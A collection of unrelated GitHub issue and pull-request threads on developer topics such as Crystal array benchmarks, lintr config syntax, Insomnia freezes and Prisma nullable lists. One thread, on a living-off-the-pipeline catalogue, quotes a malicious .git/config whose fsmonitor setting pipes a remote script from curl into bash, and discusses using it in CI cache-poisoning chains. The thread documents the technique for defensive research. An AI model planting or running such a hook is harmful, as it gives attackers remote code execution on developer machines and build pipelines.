Similar to Intel PT, ARM has a feature called CoreSight Tracing. I'm not sure how useful it would be to honggfuzz, but I thought I'd mention it and see if anyone else is interested.

Using the OpenCSD library with perf - https://github.com/Linaro/OpenCSD/blob/arm-dev/HOWTO.md
Python Based ARM CoreSight Debug and Trace Tools - https://github.com/deadsy/pycs

I played a bit with CoreSight on Raspberry PI and it doesn't seem to be in usable state. Kernel and perf patches are needed to make it work (OpenCSD). I think we'll have to wait some time to make them into the mainline kernel.

The Raspberry Pi is not suitable hardware since Broadcom does not expose the ETM Macrocell in the device tree. Try a Dragonboard 410c with Linaro 17.06 -- this gets you a Linux 4.9 kernel that exposes CoreSight tracing through the perf subsystem.
Might be able to contribute a patch for this.


Optimize Array#concat(Indexable)

When concatenating an Indexable to an Array, we already know the argument's number of elements in advance and this number won't change (formally this needs the wording from #13061), so we never need more than one reallocation of the array's buffer. Additionally, for containers that store their elements in a contiguous buffer (or two in the case of Deque), we can leverage Intrinsics.memcpy whenever the element types are the same. Benchmarks:

Source
require "benchmark"

class Array(T)
  def concat2(other : Indexable)
    # this PR's implementation
  end
end

{% begin %}
  M = {{ env("M").to_i }}
  N = {{ env("N").to_i }}
{% end %}
puts "M=#{M}, N=#{N}"

x = [] of Int64
y_slice = Slice(Int64).empty
y_static_array = uninitialized Int64[N]
y_deque = Deque(Int64).new

puts "Slice:"
Benchmark.ips do |b|
  b.report("ctrl") do
    x = Array(Int64).new(M, &.to_i64)
    y_slice = Slice(Int64).new(N, &.to_i64)
  end

  b.report("old") do
    x = Array(Int64).new(M, &.to_i64)
    y_slice = Slice(Int64).new(N, &.to_i64)
    x.concat(y_slice)
  end

  b.report("new") do
    x = Array(Int64).new(M, &.to_i64)
    y_slice = Slice(Int64).new(N, &.to_i64)
    x.concat2(y_slice)
  end
end

puts "StaticArray:"
Benchmark.ips do |b|
  b.report("old") do
    x = Array(Int64).new(M, &.to_i64)
    x.concat(y_static_array)
  end

  b.report("new") do
    x = Array(Int64).new(M, &.to_i64)
    x.concat2(y_static_array)
  end
end

puts "Deque:"
Benchmark.ips do |b|
  b.report("ctrl") do
    x = Array(Int64).new(M, &.to_i64)
    y_deque = Deque(Int64).new(N, &.to_i64)
  end

  b.report("old") do
    x = Array(Int64).new(M, &.to_i64)
    y_deque = Deque(Int64).new(N, &.to_i64)
    x.concat(y_deque)
  end

  b.report("new") do
    x = Array(Int64).new(M, &.to_i64)
    y_deque = Deque(Int64).new(N, &.to_i64)
    x.concat2(y_deque)
  end
end

M=1000, N=100
Slice:
ctrl 948.57k (  1.05µs) (± 0.92%)  8.86kB/op        fastest
 old 642.38k (  1.56µs) (± 0.80%)  20.1kB/op   1.48× slower
 new 668.03k (  1.50µs) (± 0.74%)  20.1kB/op   1.42× slower
StaticArray:
old 709.49k (  1.41µs) (± 0.31%)  19.1kB/op   1.05× slower
new 742.15k (  1.35µs) (± 0.78%)  19.1kB/op        fastest
Deque:
ctrl 917.24k (  1.09µs) (± 0.71%)  8.89kB/op        fastest
 old 627.34k (  1.59µs) (± 0.55%)  20.2kB/op   1.46× slower
 new 654.55k (  1.53µs) (± 0.72%)  20.2kB/op   1.40× slower

M=1000, N=1000
Slice:
ctrl 491.24k (  2.04µs) (± 0.93%)  15.7kB/op        fastest
 old 214.47k (  4.66µs) (± 0.64%)  63.6kB/op   2.29× slower
 new 283.87k (  3.52µs) (± 0.90%)  36.7kB/op   1.73× slower
StaticArray:
old 278.31k (  3.59µs) (± 0.68%)  55.8kB/op   1.37× slower
new 382.17k (  2.62µs) (± 1.30%)  28.8kB/op        fastest
Deque:
ctrl 495.76k (  2.02µs) (± 1.05%)  15.7kB/op        fastest
 old 222.66k (  4.49µs) (± 0.88%)  63.6kB/op   2.23× slower
 new 303.31k (  3.30µs) (± 0.90%)  36.7kB/op   1.63× slower

M=100, N=1000
Slice:
ctrl 968.83k (  1.03µs) (± 0.78%)  8.86kB/op        fastest
 old 400.14k (  2.50µs) (± 0.71%)  27.7kB/op   2.42× slower
 new 472.52k (  2.12µs) (± 0.59%)  20.7kB/op   2.05× slower
StaticArray:
old 614.25k (  1.63µs) (± 0.59%)  19.8kB/op   1.27× slower
new 778.45k (  1.28µs) (± 0.43%)  12.9kB/op        fastest
Deque:
ctrl 833.65k (  1.20µs) (± 0.55%)  8.89kB/op        fastest
 old 373.26k (  2.68µs) (± 0.62%)  27.7kB/op   2.23× slower
 new 436.66k (  2.29µs) (± 0.40%)  20.7kB/op   1.91× slower

The above results are collected on top of #13275; without that PR, when N ≪ M, i.e. a small Indexable is being concatenated to a large Array, the Array's buffer size would grow to the next power of 2, which is often less inefficient than the new growth policy. In contrast, the existing #concat(Enumerable) inserts elements one by one, so it already uses the new growth policy.
The old Array#concat(Array) overload is absorbed into the new implementation for Indexable arguments.

There is a compilation error that only affects Crystal 1.0.0? Same piece of code works on Crystal 1.1.1


Remove documentation on manual OLM depoyment from yaml files from mainline doc path

Now that the operator is in OperatorHub and RedHat, we should remove the documentation in the README.md and related files regarding the steps for deploying the operator via OLM using apply -f of the yaml files.
That more of a developer topic than an end user topic.

@whowutwut  what's the status on this? I know we did a ton of documentation updates.

Let's close this one, I think we addressed and streamlined the doc for now, let's see if any one opens issues in the future.


New named parameters implementation

As already mentioned in #45, I have taken inspiration from a nice trick I found online. I expanded upon it to create the same aliases as in v2.
This is a proposal and if you find it appropriate we could work on it to expand it to fully cover v2 aliases or introduce new ones as well. For the time being I have created the [string] and [integer] aliases.
In the code, I think it would be nice to add comments to guide future contributors. I have added some minimal ones so far. Also, contrary to the previous implementation, I named internal variables that are not leaked to the calling code with friendly names to make it easier to follow the flow. Functions, aliases, etc that will be available in the scope of the caller have been namespaced with bash_oo_<library-name>. I have also set -eu (probably should have added -o pipefail). I think it would be a good idea to enable strict mode and take care of initializing our variables and handling any error. Moreover, I have used shfmt to format the source code.
I have tried to follow a TDD approach. As we have already discussed, I have used bats and a couple 3rd party libraries instead of rolling our own custom test suite. To run the tests, there is script that can be called with bin/run_tests.

I also added a travis.yml. I think I should have better reused the travis.yml from v2.

OK, I replaced my travis.yml with the one from v2.


Add interoperability tests

Background
A black box implementation of POET core service is currently available on <IP_ADDRESS>:50052. It should help us in testing this repo Prover and Verifier. the endpoint isn't stable - i'll give an update on any future changes with it, including its API.
How
A new repo was created here, which contains a gRPC client for easily connecting with the black box impl gRPC server.
What
In the API repo mentioned above there is also a test example that can be followed. That test is executed entirely against the black box impl, but the Prover and Verifier impl can be switched around to target a different impl.
Why
The goal of this is to validate each impl against the other in order to find more bugs on both. After doing so, the tests could be used as regression tests.
This should also help us in settling on a canonical API for both impl - meaning that this repo impl should eventually expose a similar Prover/Verifier service as the black box impl do, based on the API repo.

All appliers - please join our dev chat here: https://gitter.im/spacemesh-os/POET
Please Introduce yourself and we can direct you to resources so you can get up-to-speed on the project

@avive, sorry, just saw this. still available?


Vorto datatypes do not work in Archetype

When a Vorto datatype is used in Archetype, it is not able to load. The reason is that Vorto requires the current property datatype to be able to load enabled languages. However, getting the current property datatype involves polling the server with the current property alias, which, in case of Archetype, is faked.

Turns out the only way to do this is with Vorto as the parent.


Errors after setup .lintr in the HOME directory

Here is the error after setup .lintr file in the HOME directory on MacBook.
The error highlight always on the first character of the first line.
Failed to run diagnostics: callr subprocess failed: Malformed config file, ensure it ends in a newline
  Invalid DCF format.
Regular lines must have a tag.
Offending lines start with:
  )lintr

The format of the .lintr file may be incorrect, as described in the error. Can you upload the .lintr file?

The format of the .lintr file may be incorrect, as described in the error. Can you upload the .lintr file?

I just copied the one from Wiki.
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL
)

That format is not correct. (That is, the wiki description is not correct.)
It is in the form of a dcf, which is correctly written as follows:
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL
  )

See if you can read the file with R's read.dcf() function.
read.dcf(".lintr")
#> Error in read.dcf(".lintr") : Line starting ') ...' is malformed!

That format is not correct. (That is, the wiki description is not correct.) It is in the form of a dcf, which is correctly written as follows:
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL
  )

or
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL)

See if you can read the file with R's read.dcf() function.
read.dcf(".lintr")
#> Error in read.dcf(".lintr") : Line starting ') ...' is malformed!

Thank you. It works now.

Hello @Fred-Wu  I have just spent an hour trying to get a .lintr file to work and finally managed it after reading this issue - thanks! But I think you should re-open this issue for a couple of reasons.

I couldn't get the above correct examples to work at first:

linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL)

would not give me an error with read.dcf but still wouldn't work, I had to actually add an explicit new line:
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL)

I only realised this because, even though a manual run of read.dcf was error free, I'd still get the error message over at the problems tab of vs code. Also, you may have included the explicit new line in your example, but in writing this comment I had to use 2 new lines to get github to actually show the final new line!

This should be added to the documentation? Probably here in the vscode-r documentation, but also at https://github.com/REditorSupport/languageserver#linters

That format is not correct. (That is, the wiki description is not correct.) It is in the form of a dcf, which is correctly written as follows:
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL
  )

or
linters: with_defaults(
  object_usage_linter = NULL,
  commented_code_linter = NULL)

See if you can read the file with R's read.dcf() function.
read.dcf(".lintr")
#> Error in read.dcf(".lintr") : Line starting ') ...' is malformed!

Good lord, who came up with such a terrible syntax???

To anyone (on windows) running into this issue. Make sure the document is set to LF (unix) instead of CR LF (windows). Only this fixed it for me.

For anyone else finding this problem, it might be your DESCRIPTION file (if you're authoring a package) or any other config file that uses the dcf format.
I was thrown off scent by the fact I was getting this error when I tried to run lintr - but it wasn't the .lintr file that was the issue (it was my DESCRIPTION)


feat: 🎸 use polymesh-types to generate defs

Description
uses polymes-types to generate definitions
Breaking Changes

possibly: ScopeClaimMissing was removed in  TransferError

JIRA Link
https://polymesh.atlassian.net/browse/DA-908?atlOrigin=eyJpIjoiNTQ0N2ViYTVjODg2NGFhOGI0NTIyOTQyMjBjMjM5NWUiLCJwIjoiaiJ9
Checklist

[x] Updated the Readme.md (if required) ?

:tada: This PR is included in version 23.0.0-alpha.38 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 24.0.0-alpha.1 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 24.0.0-confidential-assets.1 :tada:
The release is available on:

npm package (@confidential-assets dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 24.0.0-beta.1 :tada:
The release is available on:

npm package (@beta dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 24.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


[Bug] - insomnia hangs when view raw response of binary file

Insomnia Version: Version 6.0.2 (<IP_ADDRESS>1)
Operating System: Mac os 10.13.6 (17G65)

Details

I use insomnia to call an api which returns a zip binary file, it works well and I saved the response body; when I change the response type to "Raw", it hangs without any feedback, even if I restart the application, therefore I have no chance to change it back.
So is this a bug? And could you please tell me how to fix this mannually like editing the configuration or something else?

It worked when I mannually changed settings under ~/Library/Application Support/Insomnia/insomnia.RequestMeta.db， ie. change "raw" to "friendly".

I don't know when, but the issue disappeared
$ snap list insomnia
Name      Version  Rev  Tracking  Publisher    Notes
insomnia  6.0.2    19   stable    gschier1990  -
$ cat /etc/rel
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.10

I experienced the same issue with the same version, while previewing a 2.2MB pdf binary

I am seeing the same issue already at a couple of hundreds of kilobytes of binary data. I didn't realize I could get around this by setting the view mode to preview or source, so that is nice and basically fixes the problem for me.

I am experiencing the same issue with a JPEG file data. I noticed that the app stops freezing and displays the raw data, after a few minutes .
Wouldn't it be great to have some spinner, or at least avoid freezing the app ?
FTR, Insomnia when 'loading' uses 18% of my Intel Core i7 3370K CPU (3.5Ghz)
Thank you for your great work anyway 😄

same for me

I am having this same issue

Similar issue here while opening PDF file in raw, when I clicked the Raw option at the Response section, the app got stuck, then I have to restart it, but it won't work, everytime launching the app, it will get stuck at the previous page I closed before. The CPU usage will also raise up the same time(20% usage for 8750H).
Around 5 mins later, the app recovered from the frozen status and automatically jumped to another request, but once I clicked the request (that crash the app before), it will get stuck again.
How I get rid of the infinite boot stuck loop:
1.Wait it recovery and delete the problem request(that crash the app)
2.Go the insomnia's data dir and delete the problem request manually from insomnia.Request.db
(For windows user it locates at C:\Users\yourusername\AppData\Roaming\Insomnia)

Fixed in #2475! This has been released to the beta channel, and will be coming to the stable channel early next week. 🎉


[T5A2][T14-B1] Tan Min Rong Samson

Ready for review

@samsontmr
Some comments added. Please ack & close the PR after reading comments.

acknowledged, thanks!


chore: upgrade sveltekit to 1.0

Types of changes

[x] Chore (a non-breaking change which is related to package maintenance)
[ ] Bug fix (a non-breaking change which fixes an issue)
[ ] New feature (a non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Description

Upgrade SvelteKit to version 1 and upgrade TypeScript from 4.6 to 4.9.
Checklist:

[ ] My change requires an update to the official documentation.
[x] All TSDoc comments are up-to-date and new ones have been added where necessary.
[x] All new and existing tests are passing.

The changes look good! I left a few suggestions re: types in the thread above.
I noticed there's a src/lib/slices/ directory. Are those Slice components only for the demo app? If so, could we move it out of src/lib/ to ensure they do not get published? Since the components are only used for the root route, you could move them adjacent to +page.svelte (see the Svelte docs on colocation).
After those last changes, the PR looks good to merge into master and into the individual component PRs. 🙂

I noticed there's a src/lib/slices/ directory. Are those Slice components only for the demo app? If so, could we move it out of src/lib/ to ensure they do not get published?

Yep, that makes sense. This highlights a weirdness with Svelte packaging: components would normally go in your lib directory, so putting them in the routes directory feels a little odd. However, when you're making a component library, you would really expect to only put components in the lib directory, and this makes the codebase easier to understand. So, I agree that slices should be in routes.

CI is failing due to an installation error. You may need to rebuild your package-lock.json file. You can do so by deleting package-lock.json and running npm install.

Done. Hopefully that takes care of it.

I noticed there's a src/lib/slices/ directory. Are those Slice components only for the demo app? If so, could we move it out of src/lib/ to ensure they do not get published?

Yep, that makes sense. This highlights a weirdness with Svelte packaging: components would normally go in your lib directory, so putting them in the routes directory feels a little odd. However, when you're making a component library, you would really expect to only put components in the lib directory, and this makes the codebase easier to understand. So, I agree that slices should be in routes.

Yeah, I can see how that would be confusing. If it makes more sense to keep the components in lib, you could keep them there and add it to .npmignore. Files and directories listed in .npmignore do not get published to npm.
However, I would keep it how you have it now, or maybe even a step further by moving CodeSnippet.svelte and RichText.svelte directly adjacent to +page so you don't have the slices directory.
Keeping it out of lib prevents future developers from thinking slices are part of the published package.

There's one last change needed to clean up the types: CodeSnippetSlice.type.ts can be converted to a type using prismicT.Slice's type parameters:
// src/types/CodeSnippetSlice.type.ts

import type * as prismicT from "@prismicio/types";

export type CodeSnippetSlice = prismicT.Slice<{
	content: prismicT.RichTextField;
}>

After that change, everything looks good to merge! 🎉 Nice work!


Lit

Lit element integration
<neo-draggable options={{}}>
  Drag me
</neo-draggable>

I'll see if I can tackle this.


download component-cli via curl instead of go get

How to categorize this PR?

/area operations
/kind bug
/priority 3
What this PR does / why we need it:
Trying to download component-cli via ´go get` will fail with
go get github.com/gardener/component-cli/cmd/component-cli: create zip: pkg/commands/componentarchive/testdata/01-ca-blob/blobs/sha256:ab894987c426bf8d660826c6fa52a1f351a4c4c094f913862be9c76386bcc32f: malformed file path "pkg/commands/componentarchive/testdata/01-ca-blob/blobs/sha256:ab894987c426bf8d660826c6fa52a1f351a4c4c094f913862be9c76386bcc32f": invalid char ':'
make: *** [cnudie] Error 1

It seems that go get cant handle certain paths containing the char :.
With this PR the script will use curl to download the latest component-cli binary directly.
Which issue(s) this PR fixes:
Special notes for your reviewer:
Release note:

NONE

Even this workaround works in this place, can we fix our package so go get works?

Even this workaround works in this place, can we fix our package so go get works?

I would not consider this a workaround. This should be the way how the cli is installed.
As for the fix. We can fix it but it would require a change in how the local blob creation in done.
The actual issue resides from testdata for these local blobs, e.g. https://github.com/gardener/component-cli/tree/main/pkg/commands/componentarchive/testdata/01-ca-blob/blobs .

I just tried to replaced the ":" by a "-" in the blob file name and the test suite componentarchive_suite_test.go still worked. Not sure but perhaps this is a quite simple solution.

I just tried to replaced the ":" by a "-" in the blob file name and the test suite componentarchive_suite_test.go still worked. Not sure but perhaps this is a quite simple solution.

Geht doch nicht, da der Blob noch in einem anderen Test verwendet wird :-(


A basic question that how to register yang module file to netopeer2 server

Hi
I use netopeer2 docker image to create netopeer2 docker,now I want to register yang module file to the netopeer2 server,I want to know how to do it.
Can you give the userguide?
Thanks a log

Hi,
netopeer2 uses sysrepo for YANG module and data handling, so look into its documentation.
Regards,
Michal

Thank you for the quick response,it can resolve my problem clearly.


Add add and commit steps to Jekyll setup

Why:
Because a real user tried to follow the instructions. That user reported they didn't work. I tried to follow the instructions and concur, they don't work.

Closes [issue link]
Fixes: https://github.community/t/question-on-steps-14-and-15-on-creating-a-new-site/176847
What's being changed:

Creating a GitHub Pages site with Jekyll was missing a step.
It told users to create a git repository, and put files into it, set up a remote, and push.
It didn't tell them to add the files to the repository or to commit them before pushing.
Check off the following:

[ ] I have reviewed my changes in staging. (look for the deploy-to-heroku link in your pull request, then click View deployment)
[ ] For content changes, I have reviewed the localization checklist
[ ] For content changes, I have reviewed the Content style guide for GitHub Docs.

Writer impact (This section is for GitHub staff members only):

[ ] This pull request impacts the contribution experience

[ ] I have added the 'writer impact' label
[ ] I have added a description and/or a video demo of the changes below (eg. a "before and after video")

@jsoref Thanks so much for opening a PR! I'll get this triaged for review ⚡


Dependencies missing

I looked for dependencies part in the readme but didn't see it. I wondered which version of tensorflow this code is working on?

This was written with TF v1.1 .  I'm planning to upgrade to TF v1.3 API this week.  Since the major version is not changed, I would expect most of their APIs keep the same signature.

Added dependencies, should be TFv1.1 and onwards.  I tested with TFv1.4


fix: Use tuples for pkey check

https://github.com/MeltanoLabs/target-postgres/blob/d07b41583e8ff77ee770a0d40779ea9485772461/target_postgres/sinks.py#L161-L169
Currently the code above uses string concatenation to check for duplicate primary key values, however this is problematic since the records below will be treated as the same record and the first will be omitted:
Record 1:

Primary Key 1: AB
Primary Key 2: C

Record 2:

Primary Key 1: A
Primary Key 2: BC

Changing to a tuple should mitigate this.

hmm tests are no longer running on PRs...

Thanks @SpaceCondor!


Fix issue 392

Description
Fixes #392
Type of change

Documentation update

Testing steps
N/A

Codecov Report

Merging #406 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #406   +/-   ##
=======================================
  Coverage   70.39%   70.39%
=======================================
  Files          12       12
  Lines         652      652
=======================================
  Hits          459      459
  Misses        189      189
  Partials        4        4

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3ef0f81...ba38b55. Read the comment docs.


Vendor pew under script name pewtwo

Breaks dependency on psutil
Continued work on #1587 and #1600

The windows failure seems to be related to a parser error for the tap files + one error with the test marked as deploy, which passes locally for me.  I am pretty sure this is good to go

Is the script needed at all? I get the impression everything it does is available via python -m pipenv.pew.

We've essentially forked pew at this point.

pipenv.pew now calls this version of pew, and when we use the delegator direct call approach we call pewtwo


Add git

Add git tool and an example using fsmonitor.

Thank you @ZanyMonk.
We are about to change the license and we’d like to do that before accepting external contributions. I would really like to merge your PR, but first would like to see if you’d agree with contributing under Apache 2.0 instead (see https://github.com/boostsecurityio/lotp/pull/17)

Of course !
Please, feel free to make as much money as you can from this PR ;)
Cheers

Of course ! Please, feel free to make as much money as you can from this PR ;)
Cheers

TBH it came from other folks in the community that said they would not contribute if we did not adjust the license. I prefer to align with something that people are most comfortable, to make that a real community focal point.
Thanks :)

@ZanyMonk do you have concrete examples of how this can be exploited in practice in a pipeline by an threat actor ?
git push will not push any local changes to .git/config file in a local clone, so one would not to explicitly copy a template git config file stored inside the repo like cp config/git_config_template .git/config or something?
OK, well I found someone doing just that !
https://github.com/MaaAssistantArknights/MaaAssistantArknights/blob/f92f2f729f6f4530ef864eb8f5b76dd2abf8b308/.github/workflows/ci.yml#L38-L48

I've came across the following example on an exposed .git/config file:
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        fsmonitor = "bash -c 'curl -s https://[redacted]/static/img/fickdich.js | bash'"
[user]
        email = [redacted]

If you download this file on your host (as well as its whole .git directory, more or less), and then execute git checkout . in the created git repository in order to restore the worktree from raw objects/packs, the command in fsmonitor is executed.
Also, using sh -c 'command' allows to run the command as the current user rather than daemon.

This is clearly a footgun, targetted against hackers who would eventually try and dump the repo with tools such as git-dumper (most of those tools use git binaries to achieve their task, therefore triggering the exploit).
This could also be used as a gadget, within a bigger exploit chain. Say you can write somewhat arbitrary files but you can't execute, then you could eventually use this method to gain command execution. I think this part espacially, qualifies for the context of pipeline/supply chain attacks, but I may be wrong !

Yes, yes, I certainly don't disagree with it being a LOTP, it's just that this is much less likely to be found directly in CI/CD. In terms of the SLSA threat model this is an attack more on the dev's workstation

This is definitely a useful gadget in a CI/CD scenario with cache poisoning scenario where there is a call to git checkout after a cache restore step. For GitHub Actions at least, a poisoned cache is arbitrary file write.

Hey @AdnaneKhan. Sorry I just saw this now.
can you elaborate with an example.
We were discussing internally the other about accepting the PR but adding some caveats and more concrete realistic scenarios.
The easiest that comes to mind was a tarball containing of .git followed by some git command.
But i really like your idea.


Second HOLD doesn't WORK !! HELP !!

Hello !!!
When I connect a call I send hold to SIPSession and the hold its ok !
As show image:

before I resume the call:

All its ok and works fine, but in the same call I trying send hold for second time but not send:

Please help. !

any update


DOCS forward port of new docs into 3.2

Just a note that I've traced a bunch of lost documentation to the commit at https://github.com/silverstripe/silverstripe-framework/commit/e448fb94343ddb27508f3bcc85550378d426d99d.
E.g. "polymorphic" relational docs were lost at this point, but it's worth checking the rest of that commit.

Raised issue https://github.com/silverstripe/silverstripe-framework/issues/4905 as a placeholder to look into this at a future date.


DOM manipulations get lost when user navigates next page

Hi all,
The page has DOM manipulation actions associated with particular actions that the user performs - thing is, when they go to the next page and come back to the original, those changes are lost - any way by which the state of those manipulations can be maintained?

Hi again. I think this won't work automatically, since ngRepeat saves a fragment of HTML that is defined at compile-time and then just uses that fragment to generate new rows.
So any manipulations you perform will not be recorded in the original fragment. As far as I know the only way around this would be to somehow store the state and re-create it when you load the first page again. Sounds painful.
However, you could always show me a bit of your code and maybe I can think of a better way to do it.

thanks @michaelbromley makes sense and actually, I found an alternative wherein instead of DOM, I went the angular way , I kept the manipulation effect pre-populated with a hidden class dependent using ng-class so as soon as i wanted that effect, I changed it by finding that particular row's object (using lodash) and making the ng-class dependent property as true/false as the case might be so since i changed the $scope that i'm using with ng-repeat, the whole thing got solved :-)
cheers again for making dir-paginate, has saved me so so much of time


Refactor/exception

:tada: This PR is included in version 1.0.0-alpha.31 :tada:
The release is available on:

GitHub release
v1.0.0-alpha.31
v1.0.0-alpha.31

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 1.0.0-alpha.31 :tada:
The release is available on:

GitHub release
v1.0.0-alpha.31
v1.0.0-alpha.31

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 1.0.0 :tada:
The release is available on:

GitHub release
v1.0.0
v1.0.0

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 1.0.0 :tada:
The release is available on:

GitHub release
v1.0.0
v1.0.0

Your semantic-release bot :package::rocket:


Node v11.9.0 Dependency Issue?

Submit a feature request or bug report

[X] I've read the guidelines for Contributing to Roots Projects
[ ] This is a feature request
[X] This is a bug report
[X] This request isn't a duplicate of an existing issue
[X] I've read the docs and NPM Debugging Guidelines post and followed them (if applicable)
[ ] This is not a personal support request that should be posted on the Roots Discourse forums

What is the current behavior?
Fresh installation of node container with:
Node v11.9.0
Yarn v1.13.0
When trying to use Sage's documented Yarn commands, I receive dependency errors
What is the expected or desired behavior?
Yarn should have installed all dependencies with no errors.
Bug report
Please provide steps to reproduce, including full log output:
develop@3ae0d923d729:/var/www/html/site/web/app/themes/site# npm install --allow-root && yarn install --allow-root && yarn && yarn start
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>|| ^2.7.0 || ^3.11.0 || ^4.4.0 but none is installed. You must install peer dependencies yourself.
npm ERR! Cannot read property '0' of undefined
npm ERR! A complete log of this run can be found in:
npm ERR!     /root/.npm/_logs/2019-02-05T15_22_44_839Z-debug.log
develop@3ae0d923d729:/var/www/html/site/web/app/themes/site# node -v
v11.9.0
develop@3ae0d923d729:/var/www/html/site/web/app/themes/site# yarn -v
1.13.0
Please describe your local environment:
WordPress version: 5.0.3
Node v11.9.0
Yarn v1.13.0
Where did the bug happen? Development or remote servers?
Development
Is there a related Discourse thread or were any utilized (please link them)?
X

Please post a topic on https://discourse.roots.io for support requests like this. Before posting, please review our Getting Started documentation which differs from your methods a little and is our recommended process for setting up a development environment for Roots in general and Sage specifically.


1165 email users on document create for a schema

It should also log that an email cannot send if there is no mail server


Update Dockerfile

Update latest Android gradle support version

Have any one here?
I face above problem is that I used this container building our Android app (project gradle based on 6.5 )
but occur gradle build error because gradle version still in 6.4.1
@thyrlian

Hi @BreakDeveloper, please read here:

Gradle and Kotlin compiler come together with this Docker image merely for the sake of convenience / trial.

Using the Gradle Wrapper

Using the Gradle Wrapper lets you build with a precise Gradle version, in order to eliminate any Gradle version problem.

Of course, you can customize this image locally to preinstall whatever Gradle version you prefer, in order to save your CI build time.
Thanks.


Release v0.12.0

Release v0.12.0

Codecov Report
Base: 87.50% // Head: 87.50% // No change to project coverage :thumbsup:

Coverage data is based on head (a208b31) compared to base (2d2b6a6).
Patch coverage: 100.00% of modified lines in pull request are covered.

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #131   +/-   ##
=======================================
  Coverage   87.50%   87.50%
=======================================
  Files         129      129
  Lines        9216     9216
=======================================
  Hits         8064     8064
  Misses       1152     1152

Impacted Files
Coverage Δ

sematic/versions.py
94.11% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


use delta json format that i saved in widget

Is there an existing issue for this?

[X] I have searched the existing issues

The question
how can i use quill deltajson data that i stored in backend in text widget
i am doing it like this
 final _controller = QuillController(      readOnly: true,     document: Document.fromJson(jsonDecode(         r'[{"insert":"normaltext"},{"insert":"italic","attributes":{"bold":true}},{"insert":"\n"}]')),     selection:const  TextSelection(baseOffset: 0, extentOffset: 0),   );
in widget
QuillEditor(                     configurations:                         const QuillEditorConfigurations(showCursor: false),                     controller: _controller,                     focusNode: FocusNode(),                     scrollController: ScrollController()),
can't i do it without using quillEditor

As mentioned, the data is in Delta JSON format rather than plain text, so a QuillController is required to render and display it.

By the way, if you really don't want to use a QuillController, just try following plugins


Scalar lists (e.g. String[]) allow for NULL inputs

Bug description
We currently allow NULL values as inputs to required scalar lists in both the DB and through the Prisma Client. This was pointed out by @lskuper in this issue.
Our current behavior allows NULL values to be set in the database, but when requested, they get coerced to empty lists.
How to reproduce
When you have the following schema:
model Post {
  id   Int      @id
  title  String
  tags String[]
}

We generate the following SQL in a migration (tested on PG):
-- CreateTable
CREATE TABLE "Post" (
    "id" INTEGER NOT NULL,
    "title" TEXT NOT NULL,
    "tags" TEXT[],

    CONSTRAINT "Post_pkey" PRIMARY KEY ("id")
);

"tags" TEXT[] will allow NULL values as an input.
With the schema above, in the generated client, we also allow undefined, so the client would accept the following query:
await prisma.post.create({
  data: {
    id: 1,
    title: "First post",
  },
})

If I ran that query, the DB would look like this:

id
title
tags

1
First post
NULL

Finally, since we don't support nullable scalar lists, when I query:
await prisma.post.findMany({})

The tags get coerced to [] , which prevents an error, but is a bit magical and doesn't allow you to differentiate between NULL and [].
Expected behavior
I'd expect:
model Post {
  id   Int      @id
  title  String
  tags String[]
}

To generate:
-- CreateTable
CREATE TABLE "Post" (
    "id" INTEGER NOT NULL,
    "title" TEXT NOT NULL,
    "tags" TEXT[] NOT NULL, -- added NOT NULL

    CONSTRAINT "Post_pkey" PRIMARY KEY ("id")
);

This doesn't work well if you have existing data, so you'd additionally need to be able to do:
model Post {
  id   Int      @id
  title  String
  tags String[] @default([])
}

Which we're enabling soon. This would generate:
-- CreateTable
CREATE TABLE "Post" (
    "id" INTEGER NOT NULL,
    "title" TEXT NOT NULL,
    "tags" TEXT[] NOT NULL default '{}', -- added NOT NULL and default

    CONSTRAINT "Post_pkey" PRIMARY KEY ("id")
);

The Prisma Client should also generate a non-optional type for the tags list, so the above is an error and the following is required:
await prisma.post.create({
  data: {
    id: 1,
    title: "First post",
    tags: [] // must be *something*
  },
})

Prisma information
model Post {
  id   Int      @id
  title  String
  tags String[]
}

Environment & setup

OS: OSX
Database: Postgres
Node.js version: v16.14.2

Prisma Version
<!-- Do not include your database credentials when sharing your Prisma schema! -->
Environment variables loaded from .env
prisma                  : 3.15.2
@prisma/client          : 3.15.2
Current platform        : darwin
Query Engine (Node-API) : libquery-engine 461d6a05159055555eb7dfb337c9fb271cbd4d7e (at<EMAIL_ADDRESS>Migration Engine        : migration-engine-cli 461d6a05159055555eb7dfb337c9fb271cbd4d7e (at node_modules/@prisma/engines/migration-engine-darwin)
Introspection Engine    : introspection-core 461d6a05159055555eb7dfb337c9fb271cbd4d7e (at node_modules/@prisma/engines/introspection-engine-darwin)
Format Binary           : prisma-fmt 461d6a05159055555eb7dfb337c9fb271cbd4d7e (at node_modules/@prisma/engines/prisma-fmt-darwin)
